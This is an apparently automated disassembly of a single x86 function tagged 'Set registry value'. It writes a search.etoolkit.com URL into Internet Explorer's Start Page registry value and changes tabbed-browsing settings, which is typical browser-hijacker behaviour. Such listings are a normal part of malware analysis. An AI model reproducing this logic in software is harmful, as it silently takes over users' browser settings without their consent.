Function at 0x403a60
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2714]
mov eax, 0x2714
call fcn.00429d90
push 0xffffffffffffffff
push 0x43ffb8
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x45593c]
xor eax, ebp
mov dword [ebp + 0x2710], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403aa4
sub eax, edx
sar eax, 1
cmp eax, 3
jb 0x403cf2
call dword [0x456cf8]
mov dword [ebp - 0x18], eax
mov eax, esi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403ad0
sub eax, edx
sar eax, 1
add eax, 1
push eax
call fcn.0040c450
add esp, 4
test esi, esi
mov ebx, eax
jne 0x403af5
xor eax, eax
jmp 0x403b22
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
cmp eax, 0x3fffffff
jle 0x403b0a
xor eax, eax
jmp 0x403b22
lea edi, [eax + eax]
mov eax, edi
call fcn.00429d60
mov ecx, dword [ebp - 0x18]
mov eax, esp
push ecx
push edi
push esi
push eax
call fcn.00401e20
mov edx, ebx
mov cl, byte [eax]
mov byte [edx], cl
add eax, 1
add edx, 1
test cl, cl
jne 0x403b24
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403b37
sub eax, edx
push 0x2710
lea edx, [ebp]
push 0
push edx
mov esi, eax
call fcn.00428e00
push 0
push esi
call fcn.00401f10
push 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp]
push ecx
push esi
push ebx
call fcn.00401fb0
add esp, 0x28
call fcn.004138de
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403b8d
push 0x80004005
call fcn.004010a0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x10], eax
lea ecx, [ebp]
push ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
add esi, 1
cmp esi, 0x3fffffff
jle 0x403bbe
xor eax, eax
jmp 0x403bd7
lea eax, [esi + esi]
call fcn.00429d60
mov edx, dword [ebp - 0x18]
mov eax, esp
push edx
push esi
lea ecx, [ebp]
push ecx
push eax
call fcn.00401de0
push eax
lea edx, [ebp - 0x10]
push str.http:__search.etoolkit.com_start__s
push edx
call fcn.00403a40
push ebx
call fcn.0040c44b
add esp, 0x10
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp dword [ebp - 0x14], 0
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, dword [ebp - 0x10]
je 0x403c57
cmp dword [edi - 4], 1
mov ebx, dword [edi - 0xc]
jle 0x403c38
mov ecx, ebx
push ecx
lea ecx, [ebp - 0x10]
call fcn.004011e0
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
lea edx, [ebx + ebx + 2]
push edx
push edi
push 1
push 0
push str.Start_Page
push eax
call esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea edx, [ebp - 0x14]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerTabbedBrowsing
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x403ccf
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push str.NewTabPageShow
mov ebx, 1
push eax
mov dword [ebp - 0x10], ebx
call esi
mov eax, dword [ebp - 0x14]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push str.UseHomepageForNewTab
push eax
mov dword [ebp - 0x10], ebx
call esi
mov edx, dword [ebp - 0x14]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x442f68
push edx
mov dword [ebp - 0x10], 0
call esi
lea eax, [edi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403cf2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
lea esp, [ebp - 0x2c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x2710]
xor ecx, ebp
call fcn.00428dec
add ebp, 0x2714
mov esp, ebp
pop ebp
ret